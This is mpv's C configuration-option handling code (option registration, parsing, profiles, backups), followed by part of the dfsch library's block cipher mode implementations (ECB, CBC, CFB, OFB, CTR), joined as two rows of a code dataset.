struct mp_dummy_ *src = val;
memcpy(ptr, &src, sizeof(src));
}
static void add_options(struct m_config *config,
const char *parent_name,
void *optstruct,
const void *optstruct_def,
const struct m_option *defs);
static void config_destroy(void *p)
{
struct m_config *config = p;
m_config_restore_backups(config);
for (int n = 0; n < config->num_opts; n++)
m_option_free(config->opts[n].opt, config->opts[n].data);
}
struct m_config *m_config_new(void *talloc_ctx, struct mp_log *log,
size_t size, const void *defaults,
const struct m_option *options)
{
struct m_config *config = talloc(talloc_ctx, struct m_config);
talloc_set_destructor(config, config_destroy);
*config = (struct m_config)
{.log = log, .size = size, .defaults = defaults, .options = options};
// size==0 means a dummy object is created
if (size) {
config->optstruct = talloc_zero_size(config, size);
if (defaults)
memcpy(config->optstruct, defaults, size);
}
if (options)
add_options(config, "", config->optstruct, defaults, options);
return config;
}
struct m_config *m_config_from_obj_desc(void *talloc_ctx, struct mp_log *log,
struct m_obj_desc *desc)
{
return m_config_new(talloc_ctx, log, desc->priv_size, desc->priv_defaults,
desc->options);
}
// Like m_config_from_obj_desc(), but don't allocate option struct.
struct m_config *m_config_from_obj_desc_noalloc(void *talloc_ctx,
struct mp_log *log,
struct m_obj_desc *desc)
{
return m_config_new(talloc_ctx, log, 0, desc->priv_defaults, desc->options);
}
int m_config_set_obj_params(struct m_config *conf, char **args)
{
for (int n = 0; args && args[n * 2 + 0]; n++) {
int r = m_config_set_option(conf, bstr0(args[n * 2 + 0]),
bstr0(args[n * 2 + 1]));
if (r < 0)
return r;
}
return 0;
}
int m_config_apply_defaults(struct m_config *config, const char *name,
struct m_obj_settings *defaults)
{
int r = 0;
for (int n = 0; defaults && defaults[n].name; n++) {
struct m_obj_settings *entry = &defaults[n];
if (name && strcmp(entry->name, name) == 0) {
r = m_config_set_obj_params(config, entry->attribs);
break;
}
}
return r;
}
static void ensure_backup(struct m_config *config, struct m_config_option *co)
{
if (co->opt->type->flags & M_OPT_TYPE_HAS_CHILD)
return;
if (co->opt->flags & M_OPT_GLOBAL)
return;
if (!co->data)
return;
for (struct m_opt_backup *cur = config->backup_opts; cur; cur = cur->next) {
if (cur->co->data == co->data) // comparing data ptr catches aliases
return;
}
struct m_opt_backup *bc = talloc_ptrtype(NULL, bc);
*bc = (struct m_opt_backup) {
.co = co,
.backup = talloc_zero_size(bc, co->opt->type->size),
};
m_option_copy(co->opt, bc->backup, co->data);
bc->next = config->backup_opts;
config->backup_opts = bc;
co->is_set_locally = true;
}
void m_config_restore_backups(struct m_config *config)
{
while (config->backup_opts) {
struct m_opt_backup *bc = config->backup_opts;
config->backup_opts = bc->next;
m_option_copy(bc->co->opt, bc->co->data, bc->backup);
m_option_free(bc->co->opt, bc->backup);
bc->co->is_set_locally = false;
talloc_free(bc);
}
}
void m_config_backup_opt(struct m_config *config, const char *opt)
{
struct m_config_option *co = m_config_get_co(config, bstr0(opt));
if (co) {
ensure_backup(config, co);
} else {
MP_ERR(config, "Option %s not found.\n", opt);
}
}
void m_config_backup_all_opts(struct m_config *config)
{
for (int n = 0; n < config->num_opts; n++)
ensure_backup(config, &config->opts[n]);
}
// Given an option --opt, add --no-opt (if applicable).
static void add_negation_option(struct m_config *config,
struct m_config_option *orig,
const char *parent_name)
{
const struct m_option *opt = orig->opt;
int value;
if (opt->type == CONF_TYPE_FLAG) {
value = 0;
} else if (opt->type == CONF_TYPE_CHOICE) {
// Find out whether there's a "no" choice.
// m_option_parse() should be used for this, but it prints
// unsilenceable error messages.
struct m_opt_choice_alternatives *alt = opt->priv;
for ( ; alt->name; alt++) {
if (strcmp(alt->name, "no") == 0)
break;
}
if (!alt->name)
return;
value = alt->value;
} else {
return;
}
struct m_option *no_opt = talloc_ptrtype(config, no_opt);
*no_opt = (struct m_option) {
.name = opt->name,
.type = CONF_TYPE_STORE,
.flags = opt->flags & (M_OPT_NOCFG | M_OPT_GLOBAL | M_OPT_PRE_PARSE),
.offset = opt->offset,
.max = value,
};
// Add --no-sub-opt
struct m_config_option co = *orig;
co.name = talloc_asprintf(config, "no-%s", orig->name);
co.opt = no_opt;
co.is_generated = true;
MP_TARRAY_APPEND(config, config->opts, config->num_opts, co);
// Add --sub-no-opt (unfortunately needed for: "--sub=...:no-opt")
if (parent_name[0]) {
co.name = talloc_asprintf(config, "%s-no-%s", parent_name, opt->name);
MP_TARRAY_APPEND(config, config->opts, config->num_opts, co);
}
}
static void m_config_add_option(struct m_config *config,
const char *parent_name,
void *optstruct,
const void *optstruct_def,
const struct m_option *arg);
static void add_options(struct m_config *config,
const char *parent_name,
void *optstruct,
const void *optstruct_def,
const struct m_option *defs)
{
for (int i = 0; defs && defs[i].name; i++)
m_config_add_option(config, parent_name, optstruct, optstruct_def, &defs[i]);
}
// Initialize a field with a given value. In case this is dynamic data, it has
// to be allocated and copied. src can alias dst, also can be NULL.
static void init_opt_inplace(const struct m_option *opt, void *dst,
const void *src)
{
union m_option_value temp = {0};
if (src)
memcpy(&temp, src, opt->type->size);
memset(dst, 0, opt->type->size);
m_option_copy(opt, dst, &temp);
}
static void m_config_add_option(struct m_config *config,
const char *parent_name,
void *optstruct,
const void *optstruct_def,
const struct m_option *arg)
{
assert(config != NULL);
assert(arg != NULL);
struct m_config_option co = {
.opt = arg,
.name = arg->name,
};
if (arg->offset >= 0) {
if (optstruct)
co.data = (char *)optstruct + arg->offset;
if (optstruct_def)
co.default_data = (char *)optstruct_def + arg->offset;
}
if (arg->defval)
co.default_data = arg->defval;
if (!co.default_data)
co.default_data = &default_value;
// Fill in the full name
if (!co.name[0]) {
co.name = parent_name;
} else if (parent_name[0]) {
co.name = talloc_asprintf(config, "%s-%s", parent_name, co.name);
}
// Option with children -> add them
if (arg->type->flags & M_OPT_TYPE_HAS_CHILD) {
const struct m_sub_options *subopts = arg->priv;
void *new_optstruct = NULL;
if (co.data) {
new_optstruct = m_config_alloc_struct(config, subopts);
substruct_write_ptr(co.data, new_optstruct);
}
const void *new_optstruct_def = substruct_read_ptr(co.default_data);
if (!new_optstruct_def)
new_optstruct_def = subopts->defaults;
add_options(config, co.name, new_optstruct,
new_optstruct_def, subopts->opts);
} else {
// Initialize options
if (co.data && co.default_data) {
if (arg->type->flags & M_OPT_TYPE_DYNAMIC) {
// Would leak memory by overwriting *co.data repeatedly.
for (int i = 0; i < config->num_opts; i++) {
if (co.data == config->opts[i].data)
assert(0);
}
}
init_opt_inplace(arg, co.data, co.default_data);
}
}
if (arg->name[0]) // no own name -> hidden
MP_TARRAY_APPEND(config, config->opts, config->num_opts, co);
add_negation_option(config, &co, parent_name);
if (co.opt->type == &m_option_type_alias) {
co.is_generated = true; // hide it
const char *alias = (const char *)co.opt->priv;
char no_alias[40];
snprintf(no_alias, sizeof(no_alias), "no-%s", alias);
if (m_config_get_co(config, bstr0(no_alias))) {
struct m_option *new = talloc_zero(config, struct m_option);
new->name = talloc_asprintf(config, "no-%s", co.name);
new->priv = talloc_strdup(config, no_alias);
new->type = &m_option_type_alias;
new->offset = -1;
m_config_add_option(config, "", NULL, NULL, new);
}
}
if (co.opt->type == &m_option_type_removed)
co.is_generated = true; // hide it
}
struct m_config_option *m_config_get_co(const struct m_config *config,
struct bstr name)
{
if (!name.len)
return NULL;
for (int n = 0; n < config->num_opts; n++) {
struct m_config_option *co = &config->opts[n];
struct bstr coname = bstr0(co->name);
bool matches = false;
if ((co->opt->type->flags & M_OPT_TYPE_ALLOW_WILDCARD)
&& bstr_endswith0(coname, "*")) {
coname.len--;
if (bstrcmp(bstr_splice(name, 0, coname.len), coname) == 0)
matches = true;
} else if (bstrcmp(coname, name) == 0)
matches = true;
if (matches) {
const char *prefix = config->is_toplevel ? "--" : "";
if (co->opt->type == &m_option_type_alias) {
const char *alias = (const char *)co->opt->priv;
if (!co->warning_was_printed) {
MP_WARN(config, "Warning: option %s%s was replaced with "
"%s%s and might be removed in the future.\n",
prefix, co->name, prefix, alias);
co->warning_was_printed = true;
}
return m_config_get_co(config, bstr0(alias));
} else if (co->opt->type == &m_option_type_removed) {
if (!co->warning_was_printed) {
char *msg = co->opt->priv;
if (msg) {
MP_FATAL(config, "Option %s%s was removed: %s\n",
prefix, co->name, msg);
} else {
MP_FATAL(config, "Option %s%s was removed.\n",
prefix, co->name);
}
co->warning_was_printed = true;
}
return NULL;
} else if (co->opt->deprecation_message) {
if (!co->warning_was_printed) {
MP_WARN(config, "Warning: option %s%s is deprecated "
"and might be removed in the future (%s).\n",
prefix, co->name, co->opt->deprecation_message);
co->warning_was_printed = true;
}
}
return co;
}
}
return NULL;
}
const char *m_config_get_positional_option(const struct m_config *config, int p)
{
int pos = 0;
for (int n = 0; n < config->num_opts; n++) {
struct m_config_option *co = &config->opts[n];
if (!co->is_generated) {
if (pos == p)
return co->name;
pos++;
}
}
return NULL;
}
// return: <0: M_OPT_ error, 0: skip, 1: check, 2: set
static int handle_set_opt_flags(struct m_config *config,
struct m_config_option *co, int flags)
{
int optflags = co->opt->flags;
bool set = !(flags & M_SETOPT_CHECK_ONLY);
if ((flags & M_SETOPT_PRE_PARSE_ONLY) && !(optflags & M_OPT_PRE_PARSE))
return 0;
if ((flags & M_SETOPT_PRESERVE_CMDLINE) && co->is_set_from_cmdline)
set = false;
if ((flags & M_SETOPT_NO_FIXED) && (optflags & M_OPT_FIXED))
return M_OPT_INVALID;
if ((flags & M_SETOPT_NO_PRE_PARSE) && (optflags & M_OPT_PRE_PARSE))
return M_OPT_INVALID;
// Check if this option isn't forbidden in the current mode
if ((flags & M_SETOPT_FROM_CONFIG_FILE) && (optflags & M_OPT_NOCFG)) {
MP_ERR(config, "The %s option can't be used in a config file.\n",
co->name);
return M_OPT_INVALID;
}
if (flags & M_SETOPT_BACKUP) {
if (optflags & M_OPT_GLOBAL) {
MP_ERR(config, "The %s option is global and can't be set per-file.\n",
co->name);
return M_OPT_INVALID;
}
if (set)
ensure_backup(config, co);
}
return set ? 2 : 1;
}
static void handle_on_set(struct m_config *config, struct m_config_option *co,
int flags)
{
if (flags & M_SETOPT_FROM_CMDLINE) {
co->is_set_from_cmdline = true;
// Mark aliases too
if (co->data) {
for (int n = 0; n < config->num_opts; n++) {
struct m_config_option *co2 = &config->opts[n];
if (co2->data == co->data)
co2->is_set_from_cmdline = true;
}
}
}
if (config->global && (co->opt->flags & M_OPT_TERM))
mp_msg_update_msglevels(config->global);
}
// The type data points to is as in: m_config_get_co(config, name)->opt
int m_config_set_option_raw(struct m_config *config, struct m_config_option *co,
void *data, int flags)
{
if (!co)
return M_OPT_UNKNOWN;
// This affects some special options like "include", "profile". Maybe these
// should work, or maybe not. For now they would require special code.
if (!co->data)
return M_OPT_UNKNOWN;
int r = handle_set_opt_flags(config, co, flags);
if (r <= 1)
return r;
m_option_copy(co->opt, co->data, data);
handle_on_set(config, co, flags);
return 0;
}
static int parse_subopts(struct m_config *config, char *name, char *prefix,
struct bstr param, int flags);
static int m_config_parse_option(struct m_config *config, struct bstr name,
struct bstr param, int flags)
{
assert(config != NULL);
struct m_config_option *co = m_config_get_co(config, name);
if (!co)
return M_OPT_UNKNOWN;
// This is the only mandatory function
assert(co->opt->type->parse);
int r = handle_set_opt_flags(config, co, flags);
if (r <= 0)
return r;
bool set = r == 2;
if (set) {
MP_VERBOSE(config, "Setting option '%.*s' = '%.*s' (flags = %d)\n",
BSTR_P(name), BSTR_P(param), flags);
}
if (config->includefunc && bstr_equals0(name, "include"))
return parse_include(config, param, set, flags);
if (config->use_profiles && bstr_equals0(name, "profile"))
return parse_profile(config, co->opt, name, param, set, flags);
if (config->use_profiles && bstr_equals0(name, "show-profile"))
return show_profile(config, param);
if (bstr_equals0(name, "list-options"))
return list_options(config);
// Option with children are a bit different to parse
if (co->opt->type->flags & M_OPT_TYPE_HAS_CHILD) {
char prefix[110];
assert(strlen(co->name) < 100);
sprintf(prefix, "%s-", co->name);
return parse_subopts(config, (char *)co->name, prefix, param, flags);
}
r = m_option_parse(config->log, co->opt, name, param, set ? co->data : NULL);
if (r >= 0 && set)
handle_on_set(config, co, flags);
return r;
}
static int parse_subopts(struct m_config *config, char *name, char *prefix,
struct bstr param, int flags)
{
char **lst = NULL;
// Split the argument into child options
int r = m_option_type_subconfig.parse(config->log, NULL, bstr0(""), param, &lst);
if (r < 0)
return r;
// Parse the child options
for (int i = 0; lst && lst[2 * i]; i++) {
// Build the full name
char n[110];
if (snprintf(n, 110, "%s%s", prefix, lst[2 * i]) > 100)
abort();
r = m_config_parse_option(config,bstr0(n), bstr0(lst[2 * i + 1]), flags);
if (r < 0) {
if (r > M_OPT_EXIT) {
MP_ERR(config, "Error parsing suboption %s/%s (%s)\n",
name, lst[2 * i], m_option_strerror(r));
r = M_OPT_INVALID;
}
break;
}
}
talloc_free(lst);
return r;
}
int m_config_parse_suboptions(struct m_config *config, char *name,
char *subopts)
{
if (!subopts || !*subopts)
return 0;
int r = parse_subopts(config, name, "", bstr0(subopts), 0);
if (r < 0 && r > M_OPT_EXIT) {
MP_ERR(config, "Error parsing suboption %s (%s)\n",
name, m_option_strerror(r));
r = M_OPT_INVALID;
}
return r;
}
int m_config_set_option_ext(struct m_config *config, struct bstr name,
struct bstr param, int flags)
{
int r = m_config_parse_option(config, name, param, flags);
if (r < 0 && r > M_OPT_EXIT) {
MP_ERR(config, "Error parsing option %.*s (%s)\n",
BSTR_P(name), m_option_strerror(r));
r = M_OPT_INVALID;
}
return r;
}
int m_config_set_option(struct m_config *config, struct bstr name,
struct bstr param)
{
return m_config_set_option_ext(config, name, param, 0);
}
int m_config_set_option_node(struct m_config *config, bstr name,
struct mpv_node *data, int flags)
{
struct m_config_option *co = m_config_get_co(config, name);
if (!co)
return M_OPT_UNKNOWN;
int r;
// Do this on an "empty" type to make setting the option strictly overwrite
// the old value, as opposed to e.g. appending to lists.
union m_option_value val = {0};
if (data->format == MPV_FORMAT_STRING) {
bstr param = bstr0(data->u.string);
r = m_option_parse(mp_null_log, co->opt, name, param, &val);
} else {
r = m_option_set_node(co->opt, &val, data);
}
if (r >= 0)
r = m_config_set_option_raw(config, co, &val, flags);
if (mp_msg_test(config->log, MSGL_V)) {
char *s = m_option_type_node.print(NULL, data);
MP_VERBOSE(config, "Setting option '%.*s' = %s (flags = %d) -> %d\n",
BSTR_P(name), s ? s : "?", flags, r);
talloc_free(s);
}
m_option_free(co->opt, &val);
return r;
}
const struct m_option *m_config_get_option(const struct m_config *config,
struct bstr name)
{
assert(config != NULL);
struct m_config_option *co = m_config_get_co(config, name);
return co ? co->opt : NULL;
}
int m_config_option_requires_param(struct m_config *config, bstr name)
{
const struct m_option *opt = m_config_get_option(config, name);
if (opt) {
if (bstr_endswith0(name, "-clr"))
return 0;
return m_option_required_params(opt);
}
return M_OPT_UNKNOWN;
}
static int sort_opt_compare(const void *pa, const void *pb)
{
const struct m_config_option *a = pa;
const struct m_config_option *b = pb;
return strcasecmp(a->name, b->name);
}
void m_config_print_option_list(const struct m_config *config)
{
char min[50], max[50];
int count = 0;
const char *prefix = config->is_toplevel ? "--" : "";
struct m_config_option *sorted =
talloc_memdup(NULL, config->opts, config->num_opts * sizeof(sorted[0]));
if (config->is_toplevel)
qsort(sorted, config->num_opts, sizeof(sorted[0]), sort_opt_compare);
MP_INFO(config, "Options:\n\n");
for (int i = 0; i < config->num_opts; i++) {
struct m_config_option *co = &sorted[i];
const struct m_option *opt = co->opt;
if (opt->type->flags & M_OPT_TYPE_HAS_CHILD)
continue;
if (co->is_generated)
continue;
if (opt->type == &m_option_type_alias ||
opt->type == &m_option_type_removed)
continue;
MP_INFO(config, " %s%-30s", prefix, co->name);
if (opt->type == &m_option_type_choice) {
MP_INFO(config, " Choices:");
struct m_opt_choice_alternatives *alt = opt->priv;
for (int n = 0; alt[n].name; n++)
MP_INFO(config, " %s", alt[n].name);
if (opt->flags & (M_OPT_MIN | M_OPT_MAX))
MP_INFO(config, " (or an integer)");
} else {
MP_INFO(config, " %s", co->opt->type->name);
}
if (opt->flags & (M_OPT_MIN | M_OPT_MAX)) {
snprintf(min, sizeof(min), "any");
snprintf(max, sizeof(max), "any");
if (opt->flags & M_OPT_MIN)
snprintf(min, sizeof(min), "%.14g", opt->min);
if (opt->flags & M_OPT_MAX)
snprintf(max, sizeof(max), "%.14g", opt->max);
MP_INFO(config, " (%s to %s)", min, max);
}
char *def = NULL;
if (co->default_data)
def = m_option_print(co->opt, co->default_data);
if (def) {
MP_INFO(config, " (default: %s)", def);
talloc_free(def);
}
if (opt->flags & M_OPT_GLOBAL)
MP_INFO(config, " [global]");
if (opt->flags & M_OPT_NOCFG)
MP_INFO(config, " [nocfg]");
if (opt->flags & M_OPT_FILE)
MP_INFO(config, " [file]");
MP_INFO(config, "\n");
count++;
}
MP_INFO(config, "\nTotal: %d options\n", count);
talloc_free(sorted);
}
char **m_config_list_options(void *ta_parent, const struct m_config *config)
{
char **list = talloc_new(ta_parent);
int count = 0;
for (int i = 0; i < config->num_opts; i++) {
struct m_config_option *co = &config->opts[i];
const struct m_option *opt = co->opt;
if (opt->type->flags & M_OPT_TYPE_HAS_CHILD)
continue;
if (co->is_generated)
continue;
// For use with CONF_TYPE_STRING_LIST, it's important not to set list
// as allocation parent.
char *s = talloc_strdup(ta_parent, co->name);
MP_TARRAY_APPEND(ta_parent, list, count, s);
}
MP_TARRAY_APPEND(ta_parent, list, count, NULL);
return list;
}
struct m_profile *m_config_get_profile(const struct m_config *config, bstr name)
{
for (struct m_profile *p = config->profiles; p; p = p->next) {
if (bstr_equals0(name, p->name))
return p;
}
return NULL;
}
struct m_profile *m_config_get_profile0(const struct m_config *config,
char *name)
{
return m_config_get_profile(config, bstr0(name));
}
struct m_profile *m_config_add_profile(struct m_config *config, char *name)
{
if (!name || !name[0] || strcmp(name, "default") == 0)
return NULL; // never a real profile
struct m_profile *p = m_config_get_profile0(config, name);
if (p)
return p;
p = talloc_zero(config, struct m_profile);
p->name = talloc_strdup(p, name);
p->next = config->profiles;
config->profiles = p;
return p;
}
void m_profile_set_desc(struct m_profile *p, bstr desc)
{
talloc_free(p->desc);
p->desc = bstrdup0(p, desc);
}
int m_config_set_profile_option(struct m_config *config, struct m_profile *p,
bstr name, bstr val)
{
int i = m_config_set_option_ext(config, name, val,
M_SETOPT_CHECK_ONLY |
M_SETOPT_FROM_CONFIG_FILE);
if (i < 0)
return i;
p->opts = talloc_realloc(p, p->opts, char *, 2 * (p->num_opts + 2));
p->opts[p->num_opts * 2] = bstrdup0(p, name);
p->opts[p->num_opts * 2 + 1] = bstrdup0(p, val);
p->num_opts++;
p->opts[p->num_opts * 2] = p->opts[p->num_opts * 2 + 1] = NULL;
return 1;
}
int m_config_set_profile(struct m_config *config, char *name, int flags)
{
struct m_profile *p = m_config_get_profile0(config, name);
if (!p) {
MP_WARN(config, "Unknown profile '%s'.\n", name);
return M_OPT_INVALID;
}
if (config->profile_depth > MAX_PROFILE_DEPTH) {
MP_WARN(config, "WARNING: Profile inclusion too deep.\n");
return M_OPT_UNKNOWN;
}
config->profile_depth++;
for (int i = 0; i < p->num_opts; i++) {
m_config_set_option_ext(config,
bstr0(p->opts[2 * i]),
bstr0(p->opts[2 * i + 1]),
flags | M_SETOPT_FROM_CONFIG_FILE);
}
config->profile_depth--;
return 0;
}
void *m_config_alloc_struct(void *talloc_ctx,
const struct m_sub_options *subopts)
{
void *substruct = talloc_zero_size(talloc_ctx, subopts->size);
if (subopts->defaults)
memcpy(substruct, subopts->defaults, subopts->size);
return substruct;
}
struct dtor_info {
const struct m_sub_options *opts;
void *ptr;
};
static void free_substruct(void *ptr)
{
struct dtor_info *d = ptr;
for (int n = 0; d->opts->opts && d->opts->opts[n].type; n++) {
const struct m_option *opt = &d->opts->opts[n];
void *dst = (char *)d->ptr + opt->offset;
m_option_free(opt, dst);
}
}
// Passing ptr==NULL initializes it from proper defaults.
void *m_sub_options_copy(void *talloc_ctx, const struct m_sub_options *opts,
const void *ptr)
{
void *new = m_config_alloc_struct(talloc_ctx, opts);
struct dtor_info *dtor = talloc_ptrtype(new, dtor);
*dtor = (struct dtor_info){opts, new};
talloc_set_destructor(dtor, free_substruct);
for (int n = 0; opts->opts && opts->opts[n].type; n++) {
const struct m_option *opt = &opts->opts[n];
if (opt->offset < 0)
continue;
void *src = ptr ? (char *)ptr + opt->offset : NULL;
void *dst = (char *)new + opt->offset;
if (opt->type->flags & M_OPT_TYPE_HAS_CHILD) {
// Specifying a default struct for a sub-option field in the
// containing struct's default struct is not supported here.
// (Out of laziness. Could possibly be supported.)
assert(!substruct_read_ptr(dst));
const struct m_sub_options *subopts = opt->priv;
const void *sub_src = NULL;
if (src)
sub_src = substruct_read_ptr(src);
if (!sub_src)
sub_src = subopts->defaults;
void *sub_dst = m_sub_options_copy(new, subopts, sub_src);
substruct_write_ptr(dst, sub_dst);
} else {
init_opt_inplace(opt, dst, src);
}
}
return new;
}
struct m_config *m_config_dup(void *talloc_ctx, struct m_config *config)
{
struct m_config *new = m_config_new(talloc_ctx, config->log, config->size,
config->defaults, config->options);
assert(new->num_opts == config->num_opts);
for (int n = 0; n < new->num_opts; n++) {
assert(new->opts[n].opt->type == config->opts[n].opt->type);
m_option_copy(new->opts[n].opt, new->opts[n].data, config->opts[n].data);
}
return new;
}
| Floens/mpv | options/m_config.c | C | gpl-2.0 | 33,574 |
#include <dfsch/lib/crypto.h>
static void ecb_setup(dfsch_block_cipher_mode_context_t* cipher,
uint8_t* iv,
size_t iv_len){
if (iv_len != 0){
dfsch_error("ECB mode has no IV", NULL);
}
}
static void ecb_encrypt(dfsch_block_cipher_mode_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
context->cipher->cipher->encrypt(context->cipher,
in + (bsize * i), out + (bsize * i));
}
}
static void ecb_decrypt(dfsch_block_cipher_mode_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
context->cipher->cipher->decrypt(context->cipher,
in + (bsize * i), out + (bsize * i));
}
}
dfsch_block_cipher_mode_t dfsch_crypto_ecb_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:ecb",
.size = sizeof(dfsch_block_cipher_mode_context_t),
},
.name = "ECB",
.encrypt = ecb_encrypt,
.decrypt = ecb_decrypt,
.setup = ecb_setup
};
static void memxor(uint8_t* dst, uint8_t* src, size_t count){
while (count){
*dst ^= *src;
dst++;
src++;
count--;
}
}
typedef struct cbc_context_t {
dfsch_block_cipher_mode_context_t parent;
uint8_t* iv;
} cbc_context_t;
static void cbc_setup(cbc_context_t* context,
uint8_t* iv,
size_t iv_len){
if (iv_len != context->parent.cipher->cipher->block_size){
dfsch_error("CBC IV length must be equal to block size", NULL);
}
context->iv = GC_MALLOC_ATOMIC(iv_len);
memcpy(context->iv, iv, iv_len);
}
static void cbc_encrypt(cbc_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
memxor(context->iv, in + (bsize * i), bsize);
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->iv,
context->iv);
memcpy(out + (bsize * i), context->iv, bsize);
}
}
static void cbc_decrypt(cbc_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
uint8_t tmp[bsize];
for (i = 0; i < blocks; i++){
memcpy(tmp, in + (bsize * i), bsize);
context->parent.cipher->cipher->decrypt(context->parent.cipher,
in + (bsize * i),
out + (bsize * i));
memxor(out + (bsize * i), context->iv, bsize);
memcpy(context->iv, tmp, bsize);
}
}
dfsch_block_cipher_mode_t dfsch_crypto_cbc_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:cbc",
.size = sizeof(cbc_context_t),
},
.name = "CBC",
.encrypt = cbc_encrypt,
.decrypt = cbc_decrypt,
.setup = cbc_setup
};
typedef struct cfb_context_t {
dfsch_block_cipher_mode_context_t parent;
uint8_t* iv;
} cfb_context_t;
static void cfb_setup(cfb_context_t* context,
uint8_t* iv,
size_t iv_len){
if (iv_len != context->parent.cipher->cipher->block_size){
dfsch_error("CFB IV length must be equal to block size", NULL);
}
context->iv = GC_MALLOC_ATOMIC(iv_len);
memcpy(context->iv, iv, iv_len);
}
static void cfb_encrypt(cfb_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->iv,
context->iv);
memxor(context->iv, in + (bsize * i), bsize);
memcpy(out + (bsize * i), context->iv, bsize);
}
}
static void cfb_decrypt(cfb_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
uint8_t tmp[bsize];
for (i = 0; i < blocks; i++){
memcpy(tmp, in + (bsize * i), bsize);
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->iv,
out + (bsize * i));
memxor(out + (bsize * i), tmp, bsize);
memcpy(context->iv, tmp, bsize);
}
}
dfsch_block_cipher_mode_t dfsch_crypto_cfb_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:cfb",
.size = sizeof(cfb_context_t),
},
.name = "CFB",
.encrypt = cfb_encrypt,
.decrypt = cfb_decrypt,
.setup = cfb_setup
};
typedef struct ofb_context_t {
dfsch_block_cipher_mode_context_t parent;
uint8_t* iv;
} ofb_context_t;
static void ofb_setup(ofb_context_t* context,
uint8_t* iv,
size_t iv_len){
if (iv_len != context->parent.cipher->cipher->block_size){
dfsch_error("OFB IV length must be equal to block size", NULL);
}
context->iv = GC_MALLOC_ATOMIC(iv_len);
memcpy(context->iv, iv, iv_len);
}
static void ofb_operate(ofb_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
for (i = 0; i < blocks; i++){
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->iv,
context->iv);
memcpy(out + (bsize * i), in + (bsize * i), bsize);
memxor(out + (bsize * i), context->iv, bsize);
}
}
dfsch_block_cipher_mode_t dfsch_crypto_ofb_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:ofb",
.size = sizeof(ofb_context_t),
},
.name = "OFB",
.encrypt = ofb_operate,
.decrypt = ofb_operate,
.setup = ofb_setup
};
/* This implementation of CTR mode comes from NIST recommendation,
which is different in significant details from AES-CTR used by TLS
and IPsec (which are even mutually different). CTR mode can use
various additional data from underlying protocol, which
unfortunately means that each protocol uses completely different
method of construing CTR value */
typedef struct ctr_context_t {
dfsch_block_cipher_mode_context_t parent;
uint8_t* ctr;
} ctr_context_t;
static void ctr_setup(ctr_context_t* context,
uint8_t* iv,
size_t iv_len){
if (iv_len != context->parent.cipher->cipher->block_size){
dfsch_error("CTR IV length must be equal to block size", NULL);
}
context->ctr = GC_MALLOC_ATOMIC(iv_len);
memcpy(context->ctr, iv, iv_len);
}
static void ctr_operate(ctr_context_t* context,
uint8_t* in,
uint8_t* out,
size_t blocks){
size_t bsize = context->parent.cipher->cipher->block_size;
int i;
int j;
uint8_t tmp[bsize];
for (i = 0; i < blocks; i++){
context->parent.cipher->cipher->encrypt(context->parent.cipher,
context->ctr,
tmp);
memcpy(out + (bsize * i), in + (bsize * i), bsize);
memxor(out + (bsize * i), tmp, bsize);
/* Increment counter, little endian */
for (j = 0; j < bsize; j++){
context->ctr[j]++;
if (context->ctr[j] != 0){
break;
}
}
}
}
dfsch_block_cipher_mode_t dfsch_crypto_ctr_mode = {
.type = {
.type = DFSCH_BLOCK_CIPHER_MODE_TYPE,
.name = "crypto:ctr",
.size = sizeof(ctr_context_t),
},
.name = "CTR",
.encrypt = ctr_operate,
.decrypt = ctr_operate,
.setup = ctr_setup
};
typedef struct block_stream_mode_t {
dfsch_stream_cipher_t parent;
dfsch_block_cipher_t* cipher;
} block_stream_mode_t;
dfsch_type_t dfsch_block_stream_mode_type = {
.type = DFSCH_META_TYPE,
.superclass = DFSCH_STREAM_CIPHER_TYPE,
.name = "block-stream-mode",
.size = sizeof(block_stream_mode_t),
};
typedef struct block_stream_context_t {
block_stream_mode_t* mode;
dfsch_block_cipher_context_t* cipher;
uint8_t* next_input;
uint8_t* last_output;
size_t output_offset;
size_t output_size;
} block_stream_context_t;
static void bs_ofb_setup(block_stream_context_t* ctx,
uint8_t *key,
size_t keylen,
uint8_t *nonce,
size_t nonce_len){
if (nonce_len != ctx->mode->cipher->block_size){
dfsch_error("Nonce for OFB mode must be same size as cipher's block",
NULL);
}
ctx->cipher = dfsch_setup_block_cipher(ctx->mode->cipher, key, keylen);
ctx->next_input = GC_MALLOC_ATOMIC(ctx->mode->cipher->block_size);
ctx->last_output = GC_MALLOC_ATOMIC(ctx->mode->cipher->block_size);
ctx->output_offset = ctx->mode->cipher->block_size;
ctx->output_size = ctx->mode->cipher->block_size;
memcpy(ctx->next_input, nonce, ctx->output_size);
}
static void bs_ofb_encrypt_bytes(block_stream_context_t* ctx,
uint8_t* out,
size_t outlen){
while (outlen){
if (ctx->output_offset >= ctx->output_size){
ctx->cipher->cipher->encrypt(ctx->cipher,
ctx->next_input,
ctx->last_output);
memcpy(ctx->next_input, ctx->last_output, ctx->output_size);
ctx->output_offset = 0;
}
*out ^= ctx->last_output[ctx->output_offset];
ctx->output_offset++;
out++;
outlen--;
}
}
dfsch_stream_cipher_t* dfsch_make_ofb_cipher(dfsch_block_cipher_t* cipher){
